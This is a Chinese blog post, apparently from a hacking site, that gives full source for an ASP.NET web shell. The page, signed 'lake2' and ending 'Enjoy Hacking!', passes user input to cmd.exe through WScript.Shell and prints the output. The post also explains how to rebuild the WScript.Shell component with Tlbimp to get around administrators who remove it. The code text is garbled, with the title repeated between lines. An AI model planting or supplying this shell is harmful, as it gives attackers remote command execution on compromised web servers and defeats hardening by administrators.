ASP.NET下使用WScript.Shell执行命令

ASP.NET下有自己的执行CMD命令的方式,这里用WScript.Shell似有画蛇添足之嫌,但是我们也不能排除真的有机器禁用了.NET的相关类,未雨绸缪嘛。当然也不仅仅局限于WScript.Shell,只要是ASP中能用的组件,统统都可以用于ASP.NET中,而且还更方便!
        ASP.NET提供了两种方法让我们使用COM组件:1、Server对象的CreatObject方法;2、将COM组件转化为.NET组件。
 
·Server对象的CreatObject方法
        这个方法比较简单,直接使用就是。当然前提是服务器上已经注册了该组件,而WScript.Shell是系统自带的,我们不用担心。只是在编写代码时注意ASP.NET与ASP语法上的细微差别就可以了。直接给出代码如下:
ASP.NET下使用WScript.Shell执行命令 < %@ Page Language = " VB "  validateRequest  =   " false "  aspcompat  =   " true "  % >
ASP.NET下使用WScript.Shell执行命令
< script runat = " server " >
ASP.NET下使用WScript.Shell执行命令
sub runcmd(Src As Object, E As EventArgs)
ASP.NET下使用WScript.Shell执行命令         
Dim StrResult As String
ASP.NET下使用WScript.Shell执行命令         
Dim CMDShell As Object
ASP.NET下使用WScript.Shell执行命令         CMDShell 
= Server.CreateObject("WScript.Shell")
ASP.NET下使用WScript.Shell执行命令         StrResult 
= CMDShell.eXec( CMDPath.Text & " /c " & CMDBox.Text ).stdout.readall
ASP.NET下使用WScript.Shell执行命令         StrResult 
=  Replace(StrResult , "<","&lt;")
ASP.NET下使用WScript.Shell执行命令         StrResult 
=  Replace(StrResult , ">","&gt;")
ASP.NET下使用WScript.Shell执行命令         ResultLabel.Text 
= "<pre>" & StrResult & "</pre>"
ASP.NET下使用WScript.Shell执行命令
end sub

ASP.NET下使用WScript.Shell执行命令
</ script >
ASP.NET下使用WScript.Shell执行命令
< html >
ASP.NET下使用WScript.Shell执行命令
< head >< title > WSH.SHell  For  ASP.NET By lake2 </ title ></ head >
ASP.NET下使用WScript.Shell执行命令
< body >
ASP.NET下使用WScript.Shell执行命令
< form runat = " server " >
ASP.NET下使用WScript.Shell执行命令  
" cmd.exe " ' s path:&nbsp;<asp:TextBox ID="CMDPath" Width="500" Text="cmd.exe" runat="server" />  
ASP.NET下使用WScript.Shell执行命令
   < br >
ASP.NET下使用WScript.Shell执行命令  Your 
Command : & nbsp; & nbsp; < asp:TextBox ID = " CMDBox "  Width = " 200 "  runat = " server "   />   
ASP.NET下使用WScript.Shell执行命令  
< asp:Button ID = " Button "  Text = " Run "  OnClick = " runcmd "  runat = " server "   />
ASP.NET下使用WScript.Shell执行命令  
< br >
ASP.NET下使用WScript.Shell执行命令  
< asp:Label ID = " ResultLabel "  runat = " server "   />   
ASP.NET下使用WScript.Shell执行命令
</ form >
ASP.NET下使用WScript.Shell执行命令
< div align = " center " >-----------   < font color = " #0000FF " > Enjoy Hacking! </ font >   -----------
ASP.NET下使用WScript.Shell执行命令
</ div >
ASP.NET下使用WScript.Shell执行命令
< hr width = " 50% " >
ASP.NET下使用WScript.Shell执行命令
</ body >
ASP.NET下使用WScript.Shell执行命令
</ html >

·将COM组件转化为.NET组件
        微软给我们提供了类型库导入器(Type Library Importer),经过它的转换,我们就可以使用COM组件了。转换之后,会有一个dll文件,需要放到Web目录的bin目录下组件才可以被使用。
        虽然这样多了一个dll,但是这个dll不需要注册就可直接使用,非常方便,这也是ASP.NET与ASP的区别之一。哈哈,有的BT管理员没事要删除“有害”的组件,现在他也没办法了吧^_^
        WScript.Shell对象是%windir%\system32\WSHom.Ocx,我们把它copy出来拿给类型库导入器转换:Tlbimp.exe WSHom.Ocx /out: WSHomx.dll
        然后把WSHomx.dll放到WEB目录的bin下面。接着写代码咯,与前面的代码有少许不同。
<%@ Page Language="VB" validateRequest="false"%>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
         Dim StrResult As String
         Dim CMDShell As New WSHomx.WshShell
        ……
(后同代码1)

你可能感兴趣的:(asp.net)